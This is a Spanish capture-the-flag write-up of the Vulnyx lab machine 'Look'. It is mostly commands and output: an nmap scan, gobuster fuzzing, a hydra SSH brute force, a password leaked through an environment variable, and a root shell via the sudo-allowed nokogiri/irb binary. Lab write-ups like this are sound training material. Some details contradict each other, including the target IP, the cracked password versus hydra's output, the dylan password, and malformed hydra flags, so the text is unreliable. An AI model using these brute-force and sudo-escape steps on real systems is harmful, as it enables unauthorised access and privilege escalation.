

Máquina Look (Vulnyx)

De Ignacio Millán Ledesma Publicado el: 01 noviembre



Comenzamos con averiguar la dirección Ip de la Máquina Víctima, para ello utilizaremos la herramienta **netdiscover**, para ello ejecutamos el siguiente comando:

```
$ netdiscover -i eth1 -r 10.0.2.0/24
```

```
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
```

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
10.0.2.1	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.2	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.3	08:00:27:ad:f2:19	1	60	PCS Systemtechnik GmbH
10.0.2.23	08:00:27:c7:d2:e7	1	60	PCS Systemtechnik GmbH

- **Kali (Máquina Atacante):** 10.0.2.4
- **Máquina Víctima:** 10.0.2.23

Comprobamos si tenemos conexión con la Máquina Víctima, para ello ejecutamos el siguiente comando:

```
$ ping -c 1 10.0.2.23
```

```
PING 10.0.2.23 (10.0.2.23) 56(84) bytes of data:
64 bytes from 10.0.2.23: icmp_seq=1 ttl=64 time=0.524 ms

— 10.0.2.23 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.524/0.524/0.524/0.000 ms
```

Como se puede comprobar por el TTL nos enfrentamos a una Máquina **Linux**.

A continuación, realizamos con la herramienta **nmap** un reconocimiento de los servicios, para ello

ejecutamos el siguiente comando:

```
$ nmap -Pn 10.0.2.23 -sVC
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-25 04:39 CEST
Nmap scan report for 10.0.2.23
Host is up (0.00053s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
|_ssh-hostkey:
|_ 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|_ 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp    open  http      Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
MAC Address: 08:00:27:C7:D2:E7 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.01 seconds
```

Como podemos comprobar la Máquina Víctima tiene abierto el puerto **22** y **80**.

Comprobamos que es lo que corre en el puerto 80.



A continuación, realizamos con la herramienta **gobuster** un fuzzing web por extensiones de archivos **.php**, para ello ejecutamos el siguiente comando:

```
$ gobuster dir -u http://10.0.2.9:80 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x php
```

```
/.php
/info.php
/javascript
/look.php
/.php
/server-status
```

Encontramos el archivo **info.php**.

Accedemos a este archivo.

[illegible]

Y observamos el usuario **axel**.

Con la herramienta **hydra** realizamos un ataque a ssh para comprobar si algunos de los usuarios junto con su contraseña es válido para conectarnos a la Máquina Víctima via ssh, para ello ejecutamos el siguiente comando:

```
$ hydra -L axel -P rockyou.txt ssh://10.0.2.23 -T 64 -l
```

```
Hydra v9.5 (C) 2023 by van Hauser/thc & David Maciejak - Please do not use in military or secret service organizations
these :-> ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-25 05:05:50
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t
[DATA] Max 50 tasks per 1 server, overall 16 tasks, 14344399 login tries (1:1/14344399), ~800525 tries per task
[DATA] attacking ssh://10.0.2.23:22/
[STATUS] 241.00 tries/min, 241 tries in 00:01h, 14344419 to go in 991:06h, 15 active
[STATUS] 219.00 tries/min, 657 tries in 00:03h, 14343745 to go in 1093:37h, 13 active
[22][658] host: 10.0.2.23 login: asxl password: b4mbo
[INFO] Successfully completed 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-10-25 05:09:11
```

Y obtenemos la contraseña **bambam**.

A continuación, nos conectamos por ssh, para ello ejecutamos el siguiente comando:

```
$ ssh axel@10.0.2.23
```

```
The authenticity of host '10.0.2.23 (10.0.2.23)' can't be established.  
ED25519 key fingerprint is SHA256:3dqq7f/jDEeGxYQnF2zHbpbzEtjY49/5PVV5/4MMqns  
This host key is known by the following other names/addresses:  
  ~/.ssh/known_hosts:3: [hashed name]  
  ~/.ssh/known_hosts:5: [hashed name]  
  ~/.ssh/known_hosts:6: [hashed name]  
  ~/.ssh/known_hosts:7: [hashed name]  
  ~/.ssh/known_hosts:8: [hashed name]  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '10.0.2.23' (ED25519) to the list of known hosts.  
axel@10.0.2.23's password:  
axel@10.0.2.23:~$
```

Consultamos todas las variables de entorno definidas en el sistema, para ello ejecutamos el siguiente comando:

\$env

```
SSH_CLIENT=10.0.2.4 33578 22
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
dylanPASS=bl4bl4Dyl4N
SSH_TTY=/dev/pts/0
=/usr/bin/env
```

Y obtenemos las siguientes credenciales **dylan:bl4bl4dyl4an**.

Nos convertimos en el usuario dylan, para ello ejecutamos el siguiente comando:

```
$ su dylan
```

```
dylan@look:/home/axel$
```

Enumeramos los permisos **sudo**, para ello ejecutamos el siguiente comando:

```
$ sudo -l
```

```
Matching Defaults entries for dylan on look:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User dylan may run the following commands on look:
(root) NOPASSWD: /usr/bin/nokogiri
```

Nos encontramos con el binario **nokogiri** que lo podemos ejecutar como el usuario **root**, investigando un poco sobre nokogiri veo que utiliza **IRB**, un intérprete interactivo de Ruby el cual permite ejecutar comandos con funciones como `exec`, por lo tanto nos vamos a la página [gtfobins](#) a mirar el payload.

La ejecutamos de la siguiente manera:

```
$ sudo -u root /usr/bin/nokogiri /etc/passwd
```

```
Your document is stored in @doc ... file syst
irb(main):001:0> exec '/bin/bash -i'
root@look:/home/axel#
```

¡¡¡Ya somos **root**!!!

También pudiendo leer las flags de **user** y **root**.

```
root@look:/home/axel# cat user.txt
084eb686418576cdde1ce01e2e9ad0dd
root@look:/home/axel# cd /root
root@look:~# cat root.txt
5e1a6f7770b8836974a6da06f32ecf6e
```

